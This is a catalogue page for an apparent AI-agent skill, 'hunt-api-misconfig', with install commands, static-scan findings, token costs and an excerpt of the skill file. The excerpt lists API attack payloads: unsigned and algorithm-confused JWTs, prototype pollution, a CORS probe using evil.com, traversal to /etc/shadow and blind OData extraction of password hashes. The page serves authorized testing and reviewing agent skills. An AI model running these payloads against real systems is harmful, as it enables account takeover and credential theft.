Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/uphiago/recon-skillsnpx agentmods add skills/uphiago/recon-skills/hunt-api-misconfigWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-api-misconfig)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-api-misconfig"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-api-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-api-misconfig"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-api-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 12 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 100 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 345 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 195 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 196 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Supply Chain · line 224 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- high Privilege Escalation · line 346 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Supply Chain · line 372 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- medium Data Exfiltration · line 224 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 245 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 372 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 398 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 430 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00193 | $0.06835 |
| Opus 5 | $0.00097 | $0.03417 |
| Sonnet 5 | $0.00039 | $0.01367 |
| Haiku 4.5 | $0.00019 | $0.00683 |
Grade C, and why
hunt-api-misconfig scanned grade C with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl --max-time 30 --connect-timeout 10 -s -X PATCH "https://httpbin.org/patch" -H "Content-Type: application/json" -d '{"role":"admin","is_admin":true}' | python3 -m json.tool 2>/dev/null | head -10 || echo "(httpbin ma Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
curl --max-time 30 --connect-timeout 10 "https://target.com/api/template?name=report&name=../../../etc/shadow" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl --max-time 30 --connect-timeout 10 -s -X PATCH "https://httpbin.org/patch" -H "Content-Type: application/json" -d '{"role":"admin","is_admin":true}' | python3 -m json.tool 2>/dev/null | head -10 || echo "(httpbin ma Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
- **`hunt-rce`** — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach `child_process.spawn`. Chain primitive: Prototype pollution (`__proto__.shell=true`) + `hunt-rce` (Node.js gadget ch How it starts
The opening of the file, as written. The whole thing — 445 lines — stays where its author put it; the contents beside it link to each section on GitHub.
12. API SECURITY MISCONFIGURATION
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None Algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 Algorithm Confusion
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
CORS Exploitation
# Test: reflected origin + credentials
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData (Open Data Protocol) is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and any ASP.NET WebAPI project using Microsoft.AspNetCore.OData. It exposes SQL-shaped query operators (eq, ne, and, or, substringof, startswith, tolower, concat, replace) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
Attack class 1 — Boolean-logic blind extraction via startswith / substringof
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
Iterate prefix character-by-character; cardinality of the response (or @odata.count) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no '/-- characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals password hashes, names, emails, addresses, financial data in Dec 2023; Microsoft patched May 2024. (Stratus Security writeup, The Hacker News coverage Jan 2025)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 445 lines · 193 tokens per session scan C 789207888d82
hunt-api-misconfig is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 193 tokens to every session and 6,835 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it C with 5 findings (sends data to an external url, reaches for credential files, downloads and executes remote code). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
securing-api-gateway-with-aws-waf
Securing API Gateway endpoints with AWS WAF by configuring managed rule groups for OWASP Top 10 protection, creating custom rate limiting rules, implementing bot control, setting up IP reputation filtering, and monitoring WAF metrics for security effectiveness.
performing-aws-account-enumeration-with-scout-suite
Perform comprehensive security posture assessment of AWS accounts using ScoutSuite to enumerate resources, identify misconfigurations, and generate actionable security reports.
api-rate-limit-handler
Implement bounded, idempotency-aware API throttling, backoff, and retry handling for 429 and transient 5xx responses.
server-side-calls
Call tRPC procedures directly from server code using t.createCallerFactory() and router.createCaller(context) for integration testing, internal server logic, and custom API endpoints. Catch TRPCError and extract HTTP status with getHTTPStatusCodeFromError(). Error handling via onError option.
trpc-router
Entry point for all tRPC skills. Decision tree routing by task: initTRPC.create(), t.router(), t.procedure, createTRPCClient, adapters, subscriptions, React Query, Next.js, links, middleware, validators, error handling, caching, FormData.
voiden
Create and edit Voiden .void files for API testing. Covers the .void file format and all enabled extension block types.